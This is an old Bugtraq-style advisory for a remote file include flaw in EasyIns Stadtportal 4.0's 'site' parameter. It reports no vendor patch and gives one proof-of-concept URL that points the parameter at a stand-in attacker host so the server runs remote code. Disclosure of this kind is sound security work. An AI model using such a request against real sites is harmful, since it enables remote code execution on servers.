EasyIns Stadtportal Site Parameter Remote File Include Vulnerability

Bugtraq ID:	10795
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 24 2004 12:00AM
Updated:	Jul 24 2004 12:00AM
Credit:	Discovery is credited to Francisco Alisson <[email protected]>.
Vulnerable:	EasyIns EasyIns Stadtportal 4.0
Not Vulnerable:

EasyIns Stadtportal Site Parameter Remote File Include Vulnerability

EasyIns Stadtportal is reported prone to a vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable computer.

EasyIns Stadtportal version 4 is reported prone to this issue. Other versions may be affected as well.

EasyIns Stadtportal Site Parameter Remote File Include Vulnerability

No exploit is required.

The following proof of concept is available:
http://www.example.com/stadtportal-path/index.php?site=http://www.evil-host.com

EasyIns Stadtportal Site Parameter Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

EasyIns Stadtportal Site Parameter Remote File Include Vulnerability

References:

• EasyIns Stadtportal Homepage (EasyIns)
  
• Easyins Stadtportal (Francisco Alisson )